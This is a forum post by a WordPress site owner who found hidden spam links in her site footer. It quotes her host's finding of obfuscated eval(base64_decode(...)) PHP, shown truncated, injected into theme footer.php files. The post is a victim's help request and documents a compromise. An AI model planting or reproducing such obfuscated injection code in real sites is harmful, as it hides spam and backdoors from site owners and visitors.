Theme hacked via contact form 8?

paulae · #1 Dec 18, 2009, 03:54 PM

Just now, when I viewed my front page with the Chrome browser, there were hundreds of porn site URLs under the footer area! These did not appear in Firefox or Safari. When I looked at the source code, there was a jquery that seemed to have come in via the Contact Form 8 plugin. I let the hosting co. know. They said they this:

Quote:

Looking at the source pasted, and viewed in a Clean VM using Chrome I do not see any added DIV spam or other code. I did, however, find some code a inside your theme Footer files that do explain this behavior.

./wp-content/themes/atahualpa/footer.php
./wp-content/themes/atahualpa344/footer.php

Code: <? eval(base64_decode("CmlmIChwcmVnX21hdGNoICgiL1tHZ1 1bT29dW09vXVtHZ11bTGxdW0VlXS8iLCRfU0VSVkVSWyJIVFRQ X1VTRVJfQUdFTlQiXSkpIHsKCWVjaG8gZmlsZV9nZXRfY29udG VudH ....

I disabled the plugin right away. Now I'm not seeing the rogue code anymore. I'm afraid to re-enable it or install another contact form plugin. Help!
NOTE: The support guys removed the base64 code for me, so that's why I didn't see it. I still don't know why this happened.